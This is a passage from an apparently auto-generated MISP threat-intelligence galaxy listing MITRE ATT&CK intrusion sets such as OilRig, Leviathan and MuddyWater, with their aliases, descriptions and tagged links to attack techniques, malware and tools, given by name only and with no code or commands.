uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/ |
https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/ |
OilRig - G0049
[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.
The tag is: misp-galaxy:mitre-intrusion-set="OilRig - G0049"
OilRig - G0049 is also known as:
-
OilRig
-
IRN2
-
HELIX KITTEN
-
APT34
OilRig - G0049 has relationships with:
-
similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="RGDoor - S0258" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="SEASHARPEE - S0185" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="OopsIE - S0264" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="POWRUNER - S0184" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Helminth - S0170" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ISMInjector - S0189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="FTP - S0095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="QUADAGENT - S0269" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="BONDUPDATER - S0360" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
NEODYMIUM - G0055
[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)
The tag is: misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055"
NEODYMIUM - G0055 is also known as:
-
NEODYMIUM
NEODYMIUM - G0055 has relationships with:
-
similar: misp-galaxy:microsoft-activity-group="NEODYMIUM" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="NEODYMIUM" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="Wingbird - S0176" with estimative-language:likelihood-probability="almost-certain"
Links |
PROMETHIUM - G0056
[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)
The tag is: misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056"
PROMETHIUM - G0056 is also known as:
-
PROMETHIUM
PROMETHIUM - G0056 has relationships with:
-
similar: misp-galaxy:microsoft-activity-group="PROMETHIUM" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="PROMETHIUM" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="Truvasys - S0178" with estimative-language:likelihood-probability="almost-certain"
Links |
Leviathan - G0065
[Leviathan](https://attack.mitre.org/groups/G0065) is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Leviathan - G0065"
Leviathan - G0065 is also known as:
-
Leviathan
-
TEMP.Jumper
-
APT40
-
TEMP.Periscope
Leviathan - G0065 has relationships with:
-
similar: misp-galaxy:threat-actor="Leviathan" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="BITSAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="HOMEFRY - S0232" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="NanHaiShu - S0228" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="MURKYTOP - S0233" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Orz - S0229" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"
Links |
Rancor - G0075
[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Rancor - G0075"
Rancor - G0075 is also known as:
-
Rancor
Rancor - G0075 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PLAINTEE - S0254" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="DDKONG - S0255" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
Links |
Machete - G0095
[Machete](https://attack.mitre.org/groups/G0095) is a group that has been active since at least 2010, targeting high-profile government entities in Latin American countries.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)
The tag is: misp-galaxy:mitre-intrusion-set="Machete - G0095"
Machete - G0095 is also known as:
-
Machete
-
El Machete
Machete - G0095 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Machete - S0409" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
Elderwood - G0066
[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)
The tag is: misp-galaxy:mitre-intrusion-set="Elderwood - G0066"
Elderwood - G0066 is also known as:
-
Elderwood
-
Elderwood Gang
-
Beijing Group
-
Sneaky Panda
Elderwood - G0066 has relationships with:
-
similar: misp-galaxy:threat-actor="Beijing Group" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Linfo - S0211" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Briba - S0204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Naid - S0205" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Hydraq - S0203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Nerex - S0210" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Wiarp - S0206" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Vasport - S0207" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Pasam - S0208" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
Thrip - G0076
[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as "living off the land" techniques. (Citation: Symantec Thrip June 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Thrip - G0076"
Thrip - G0076 is also known as:
-
Thrip
Thrip - G0076 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Catchamas - S0261" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets |
PLATINUM - G0068
[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)
The tag is: misp-galaxy:mitre-intrusion-set="PLATINUM - G0068"
PLATINUM - G0068 is also known as:
-
PLATINUM
PLATINUM - G0068 has relationships with:
-
similar: misp-galaxy:microsoft-activity-group="PLATINUM" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="PLATINUM" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Dipsind - S0200" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="JPIN - S0201" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="adbupd - S0202" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
Links |
MuddyWater - G0069
[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group’s victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)
The tag is: misp-galaxy:mitre-intrusion-set="MuddyWater - G0069"
MuddyWater - G0069 is also known as:
-
MuddyWater
-
Seedworm
-
TEMP.Zagros
MuddyWater - G0069 has relationships with:
-
similar: misp-galaxy:threat-actor="MuddyWater" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="POWERSTATS - S0223" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
